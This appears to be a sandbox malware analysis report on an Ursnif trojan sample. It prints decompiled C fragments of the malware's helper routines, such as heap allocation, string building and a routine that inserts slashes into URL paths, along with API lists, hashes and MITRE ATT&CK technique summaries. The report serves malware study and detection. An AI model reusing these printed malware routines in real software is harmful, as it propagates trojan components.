Uniqueness

Uniqueness Score: -1.00%

Function 010F4162 Relevance: 6.1, APIs: 4, Instructions: 61
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E010F4162(unsigned int __eax, void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _t21;
				signed short _t23;
				char* _t27;
				void* _t29;
				void* _t30;
				unsigned int _t33;
				void* _t37;
				unsigned int _t38;
				void* _t41;
				void* _t42;
				int _t45;
				void* _t46;

				_t42 = __eax;
				__imp__(__eax, _t37, _t41, _t29, __ecx, __ecx);
				_t38 = __eax;
				_t30 = RtlAllocateHeap( *0x10fa2d8, 0, (__eax >> 3) + __eax + 1);
				_v12 = _t30;
				if(_t30 != 0) {
					_v8 = _t42;
					do {
						_t33 = 0x18;
						if(_t38 <= _t33) {
							_t33 = _t38;
						}
						_t21 =  *0x10fa2f0; // 0xfe01ddf2
						_t23 = 0x3c6ef35f + _t21 * 0x19660d;
						 *0x10fa2f0 = _t23;
						_t45 = (_t23 & 0x0000ffff) % (_t33 + 0xfffffff8) + 8;
						memcpy(_t30, _v8, _t45);
						_v8 = _v8 + _t45;
						_t27 = _t30 + _t45;
						_t38 = _t38 - _t45;
						_t46 = _t46 + 0xc;
						 *_t27 = 0x2f;
						_t13 = _t27 + 1; // 0x1
						_t30 = _t13;
					} while (_t38 > 8);
					memcpy(_t30, _v8, _t38 + 1);
				}
				return _v12;
			}

0x010f416a
0x010f416d
0x010f4173
0x010f418b
0x010f418d
0x010f4192
0x010f4194
0x010f4197
0x010f4199
0x010f419c
0x010f419e
0x010f419e
0x010f41a0
0x010f41ab
0x010f41b0
0x010f41c1
0x010f41c9
0x010f41ce
0x010f41d1
0x010f41d4
0x010f41d6
0x010f41d9
0x010f41dc
0x010f41dc
0x010f41df
0x010f41ea
0x010f41ef
0x010f41f9

APIs

lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,010F1DC6,00000000,?,746BC740,010F58D7,00000000,051A95B0), ref: 010F416D
RtlAllocateHeap.NTDLL(00000000,?), ref: 010F4185
memcpy.NTDLL(00000000,051A95B0,-00000008,?,?,?,010F1DC6,00000000,?,746BC740,010F58D7,00000000,051A95B0), ref: 010F41C9
memcpy.NTDLL(00000001,051A95B0,00000001,010F58D7,00000000,051A95B0), ref: 010F41EA

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: memcpy$AllocateHeaplstrlen
String ID:
API String ID: 1819133394-0
Opcode ID: 12e49a525c3d060a76b7f972acba572061b480303ec44badee9e4a0a349d346d
Instruction ID: 55d581eced453e076ee8130118b955e6e864b95680bb6e804845c213b626459f
Opcode Fuzzy Hash: 12e49a525c3d060a76b7f972acba572061b480303ec44badee9e4a0a349d346d
Instruction Fuzzy Hash: 52110AB2B00115AFD7108B6DDC85E9A7FFAFB90261B05017AF544D7140E7759E048790

Uniqueness

Uniqueness Score: -1.00%

Function 010F227F Relevance: 6.0, APIs: 4, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E010F227F(void* __esi) {
				struct _SECURITY_ATTRIBUTES* _v4;
				void* _t8;
				void* _t10;

				_v4 = 0;
				memset(__esi, 0, 0x38);
				_t8 = CreateEventA(0, 1, 0, 0);
				 *(__esi + 0x1c) = _t8;
				if(_t8 != 0) {
					_t10 = CreateEventA(0, 1, 1, 0);
					 *(__esi + 0x20) = _t10;
					if(_t10 == 0) {
						CloseHandle( *(__esi + 0x1c));
					} else {
						_v4 = 1;
					}
				}
				return _v4;
			}

0x010f2289
0x010f228d
0x010f22a2
0x010f22a4
0x010f22a9
0x010f22af
0x010f22b1
0x010f22b6
0x010f22c1
0x010f22b8
0x010f22b8
0x010f22b8
0x010f22b6
0x010f22cf

APIs

memset.NTDLL ref: 010F228D
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,761F81D0,00000000,00000000), ref: 010F22A2
CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 010F22AF
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,010F593D,00000000,?), ref: 010F22C1

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: CreateEvent$CloseHandlememset
String ID:
API String ID: 2812548120-0
Opcode ID: 4152c6b3073fe0322bee760fc7a038d3c586fde39cf17093f2786d19fcb83da1
Instruction ID: bc2d7aa4a02014560288a2c1490999a34725ba2571128399978a44897f746c35
Opcode Fuzzy Hash: 4152c6b3073fe0322bee760fc7a038d3c586fde39cf17093f2786d19fcb83da1
Instruction Fuzzy Hash: 04F05EB51047087FD3606F66DCC5C2BBBECEB861A8B11492EF28292901C676E8088B70

Uniqueness

Uniqueness Score: -1.00%

Function 010F7607 Relevance: 6.0, APIs: 4, Instructions: 29
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E010F7607() {
				void* _t1;
				intOrPtr _t5;
				void* _t6;
				void* _t7;
				void* _t11;

				_t1 =  *0x10fa30c; // 0x2c0
				if(_t1 == 0) {
					L8:
					return 0;
				}
				SetEvent(_t1);
				_t11 = 0x7fffffff;
				while(1) {
					SleepEx(0x64, 1);
					_t5 =  *0x10fa35c; // 0x0
					if(_t5 == 0) {
						break;
					}
					_t11 = _t11 - 0x64;
					if(_t11 > 0) {
						continue;
					}
					break;
				}
				_t6 =  *0x10fa30c; // 0x2c0
				if(_t6 != 0) {
					CloseHandle(_t6);
				}
				_t7 =  *0x10fa2d8; // 0x4db0000
				if(_t7 != 0) {
					HeapDestroy(_t7);
				}
				goto L8;
			}

0x010f7607
0x010f760e
0x010f7658
0x010f765a
0x010f765a
0x010f7612
0x010f7618
0x010f761d
0x010f7621
0x010f7627
0x010f762e
0x00000000
0x00000000
0x010f7630
0x010f7635
0x00000000
0x00000000
0x00000000
0x010f7635
0x010f7637
0x010f763f
0x010f7642
0x010f7642
0x010f7648
0x010f764f
0x010f7652
0x010f7652
0x00000000

APIs

SetEvent.KERNEL32(000002C0,00000001,010F5E70), ref: 010F7612
SleepEx.KERNEL32(00000064,00000001), ref: 010F7621
CloseHandle.KERNEL32(000002C0), ref: 010F7642
HeapDestroy.KERNEL32(04DB0000), ref: 010F7652

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: CloseDestroyEventHandleHeapSleep
String ID:
API String ID: 4109453060-0
Opcode ID: b7ce10b9af21975f1a22bf687e4b650b5d0f1ed5046d145d5ac3b12231ac525d
Instruction ID: a91e1cd58a4dd7c5870237b2e319bcaafd31cef2fee57987c61a1b7e6aeaa4c8
Opcode Fuzzy Hash: b7ce10b9af21975f1a22bf687e4b650b5d0f1ed5046d145d5ac3b12231ac525d
Instruction Fuzzy Hash: F0F03075B01312DBEB709B3D984FF423BD8AB18665B08455CBF84D3E88CB6AD444D761

Uniqueness

Uniqueness Score: -1.00%

Function 010F72C7 Relevance: 6.0, APIs: 4, Instructions: 28
sleepmemoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E010F72C7() {
				void* _v0;
				void** _t3;
				void** _t5;
				void** _t7;
				void** _t8;
				void* _t10;

				_t3 =  *0x10fa3cc; // 0x51a95b0
				__imp__( &(_t3[0x10]));
				while(1) {
					_t5 =  *0x10fa3cc; // 0x51a95b0
					_t1 =  &(_t5[0x16]); // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t7 =  *0x10fa3cc; // 0x51a95b0
				_t10 =  *_t7;
				if(_t10 != 0 && _t10 != 0x10fb827) {
					HeapFree( *0x10fa2d8, 0, _t10);
					_t7 =  *0x10fa3cc; // 0x51a95b0
				}
				 *_t7 = _v0;
				_t8 =  &(_t7[0x10]);
				__imp__(_t8);
				return _t8;
			}

0x010f72c7
0x010f72d0
0x010f72e0
0x010f72e0
0x010f72e5
0x010f72ea
0x00000000
0x00000000
0x010f72da
0x010f72da
0x010f72ec
0x010f72f1
0x010f72f5
0x010f7308
0x010f730e
0x010f730e
0x010f7317
0x010f7319
0x010f731d
0x010f7323

APIs

RtlEnterCriticalSection.NTDLL(051A9570), ref: 010F72D0
Sleep.KERNEL32(0000000A), ref: 010F72DA
HeapFree.KERNEL32(00000000), ref: 010F7308
RtlLeaveCriticalSection.NTDLL(051A9570), ref: 010F731D

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: CriticalSection$EnterFreeHeapLeaveSleep
String ID:
API String ID: 58946197-0
Opcode ID: f96436ceff4d0aa241cc22bb7e17b323e261dc539582b4679db6aa6634368e7f
Instruction ID: 74a7c981ca0cf024136a0c2516a751cb90dafc11066e4e9e74b0b7e8d1b378fa
Opcode Fuzzy Hash: f96436ceff4d0aa241cc22bb7e17b323e261dc539582b4679db6aa6634368e7f
Instruction Fuzzy Hash: CBF0D478700201DFE7788B58E84BF2937E5EB84314B04805CFA86E7B98C67AA841CB25

Uniqueness

Uniqueness Score: -1.00%

Function 010F45C4 Relevance: 5.1, APIs: 4, Instructions: 70
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E010F45C4(void* __eax, void* __ecx, void* _a4, void** _a8, intOrPtr* _a12) {
				intOrPtr* _v8;
				void* _t17;
				intOrPtr* _t22;
				void* _t27;
				char* _t30;
				void* _t33;
				void* _t34;
				void* _t36;
				void* _t37;
				void* _t39;
				int _t42;

				_t17 = __eax;
				_t37 = 0;
				__imp__(_a4, _t33, _t36, _t27, __ecx);
				_t2 = _t17 + 1; // 0x1
				_t28 = _t2;
				_t34 = E010F6D63(_t2);
				if(_t34 != 0) {
					_t30 = E010F6D63(_t28);
					if(_t30 == 0) {
						E010F6C2C(_t34);
					} else {
						_t39 = _a4;
						_t22 = E010F7A57(_t39);
						_v8 = _t22;
						if(_t22 == 0 ||  *_t22 !=  *((intOrPtr*)(_t22 + 1))) {
							_a4 = _t39;
						} else {
							_t26 = _t22 + 2;
							_a4 = _t22 + 2;
							_t22 = E010F7A57(_t26);
							_v8 = _t22;
						}
						if(_t22 == 0) {
							__imp__(_t34, _a4);
							 *_t30 = 0x2f;
							 *((char*)(_t30 + 1)) = 0;
						} else {
							_t42 = _t22 - _a4;
							memcpy(_t34, _a4, _t42);
							 *((char*)(_t34 + _t42)) = 0;
							__imp__(_t30, _v8);
						}
						 *_a8 = _t34;
						_t37 = 1;
						 *_a12 = _t30;
					}
				}
				return _t37;
			}

0x010f45c4
0x010f45ce
0x010f45d0
0x010f45d6
0x010f45d6
0x010f45df
0x010f45e3
0x010f45ef
0x010f45f3
0x010f4667
0x010f45f5
0x010f45f5
0x010f45f9
0x010f45fe
0x010f4603
0x010f461d
0x010f460c
0x010f460c
0x010f4610
0x010f4613
0x010f4618
0x010f4618
0x010f4622
0x010f464a
0x010f4650
0x010f4653
0x010f4624
0x010f4626
0x010f462e
0x010f4639
0x010f463e
0x010f463e
0x010f465a
0x010f4661
0x010f4662
0x010f4662
0x010f45f3
0x010f4672

APIs

lstrlen.KERNEL32(00000000,00000008,?,761B4D40,?,?,010F6973,?,?,?,?,00000102,010F37A0,?,?,761F81D0), ref: 010F45D0

Part of subcall function 010F6D63: RtlAllocateHeap.NTDLL(00000000,00000000,010F5D7B), ref: 010F6D6F

Part of subcall function 010F7A57: StrChrA.SHLWAPI(?,0000002F,00000000,00000000,010F45FE,00000000,00000001,00000001,?,?,010F6973,?,?,?,?,00000102), ref: 010F7A65
Part of subcall function 010F7A57: StrChrA.SHLWAPI(?,0000003F,?,?,010F6973,?,?,?,?,00000102,010F37A0,?,?,761F81D0,00000000), ref: 010F7A6F

memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,010F6973,?,?,?,?,00000102,010F37A0,?), ref: 010F462E
lstrcpy.KERNEL32(00000000,00000000), ref: 010F463E
lstrcpy.KERNEL32(00000000,00000000), ref: 010F464A

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: lstrcpy$AllocateHeaplstrlenmemcpy
String ID:
API String ID: 3767559652-0
Opcode ID: 3d181c5062c94336373891f5fb58e223f255981a4716dd2f42fb7b558c2473c0
Instruction ID: 925d8f8aba29eeca2de08ad07b1f07829eb640ba848ea661ca227bc675e1c833
Opcode Fuzzy Hash: 3d181c5062c94336373891f5fb58e223f255981a4716dd2f42fb7b558c2473c0
Instruction Fuzzy Hash: 5B21F371400246EBCB126FB8C845EAF7FF8AF49240F054058FE85DB601D636D900CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 010F28C4 Relevance: 5.0, APIs: 4, Instructions: 39
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E010F28C4(void* __ecx, WCHAR* _a4, WCHAR* _a8) {
				void* _v8;
				void* _t18;
				int _t25;
				int _t29;
				int _t34;

				_t29 = lstrlenW(_a4);
				_t25 = lstrlenW(_a8);
				_t18 = E010F6D63(_t25 + _t29 + _t25 + _t29 + 2);
				_v8 = _t18;
				if(_t18 != 0) {
					_t34 = _t29 + _t29;
					memcpy(_t18, _a4, _t34);
					_t10 = _t25 + 2; // 0x2
					memcpy(_v8 + _t34, _a8, _t25 + _t10);
				}
				return _v8;
			}

0x010f28d9
0x010f28dd
0x010f28e7
0x010f28ec
0x010f28f1
0x010f28f3
0x010f28fb
0x010f2900
0x010f290e
0x010f2913
0x010f291d

APIs

lstrlenW.KERNEL32(004F0053,?,761B5520,00000008,051A93F4,?,010F21EB,004F0053,051A93F4,?,?,?,?,?,?,010F66BE), ref: 010F28D4
lstrlenW.KERNEL32(010F21EB,?,010F21EB,004F0053,051A93F4,?,?,?,?,?,?,010F66BE), ref: 010F28DB

Part of subcall function 010F6D63: RtlAllocateHeap.NTDLL(00000000,00000000,010F5D7B), ref: 010F6D6F

memcpy.NTDLL(00000000,004F0053,761B69A0,?,?,010F21EB,004F0053,051A93F4,?,?,?,?,?,?,010F66BE), ref: 010F28FB
memcpy.NTDLL(761B69A0,010F21EB,00000002,00000000,004F0053,761B69A0,?,?,010F21EB,004F0053,051A93F4), ref: 010F290E

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: lstrlenmemcpy$AllocateHeap
String ID:
API String ID: 2411391700-0
Opcode ID: 27bb147ea68d91d2cc0f0e9f4431d2f46e4fc3a7375ae9e80b4c08073c72f4c9
Instruction ID: e9bd6331f2a93ce2fcb0620f6a9ccc0188a2666f9c9d33822d067dc58e72f5cf
Opcode Fuzzy Hash: 27bb147ea68d91d2cc0f0e9f4431d2f46e4fc3a7375ae9e80b4c08073c72f4c9
Instruction Fuzzy Hash: 64F0497290011ABB8F11EFA9CC85CCE7BACEF082A47014067FA04DB201E631EA14CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 010F393C Relevance: 5.0, APIs: 4, Instructions: 27stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(051A9B68,00000000,00000000,00000000,010F5902,00000000), ref: 010F394C
lstrlen.KERNEL32(?), ref: 010F3954

Part of subcall function 010F6D63: RtlAllocateHeap.NTDLL(00000000,00000000,010F5D7B), ref: 010F6D6F

lstrcpy.KERNEL32(00000000,051A9B68), ref: 010F3968
lstrcat.KERNEL32(00000000,?), ref: 010F3973

Memory Dump Source

Source File: 00000002.00000002.784911715.00000000010F1000.00000020.10000000.00040000.00000000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000002.00000002.784891493.00000000010F0000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784941767.00000000010F9000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784951962.00000000010FA000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 00000002.00000002.784970224.00000000010FC000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10f0000_rundll32.jbxd

Similarity

API ID: lstrlen$AllocateHeaplstrcatlstrcpy
String ID:
API String ID: 74227042-0
Opcode ID: 56b484bd2010a6eda73c474d1f476c951e7c8aa09c817f88db038c5bf4975480
Instruction ID: a0156703f0db0888963ea5fa0ad84f5111d5bb68bfd202196dfcfd3f4523d23d
Opcode Fuzzy Hash: 56b484bd2010a6eda73c474d1f476c951e7c8aa09c817f88db038c5bf4975480
Instruction Fuzzy Hash: 11E09273905621AB87216BE8AC49D9BBBACEFC9661705041EF740D3504C76A9801CBE1

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.
Tactics:	Impact
Data Sources:	File monitoring, Kernel drivers, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report BJp3aUvrt9

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Ursnif

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_loaddll32.exe_13ec5c98984773435626ad7d5b7558cb4938ccf_7cac0383_1985ef9c\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_loaddll32.exe_61eae61638761e2a39674020347ca413fb22393_7cac0383_19cdd4c1\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_loaddll32.exe_b75bd23440526356a090f9cb45508f9dce6e86_7cac0383_1ada168d\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1046.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB04.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCD7E.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD06D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD1D5.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE1F0.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE56C.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE732.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE8F.tmp.WERInternalMetadata.xml

Static File Info

General

File Icon

Static PE Info

Windows Analysis Report
BJp3aUvrt9

Function 00851340 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 79
COMMON

Function 010F5FBB Relevance: 18.2, APIs: 12, Instructions: 163
encryptionCOMMON

Function 008F1308 Relevance: 13.6, APIs: 9, Instructions: 120
sleepnativesynchronizationCOMMON

Function 008F1C83 Relevance: 13.6, APIs: 9, Instructions: 81
filetimeCOMMON

Function 010F3365 Relevance: 12.1, APIs: 8, Instructions: 103
memoryCOMMON

Function 010F4321 Relevance: 10.6, APIs: 7, Instructions: 81
nativeCOMMON

Function 010F1CA5 Relevance: 9.1, APIs: 6, Instructions: 124
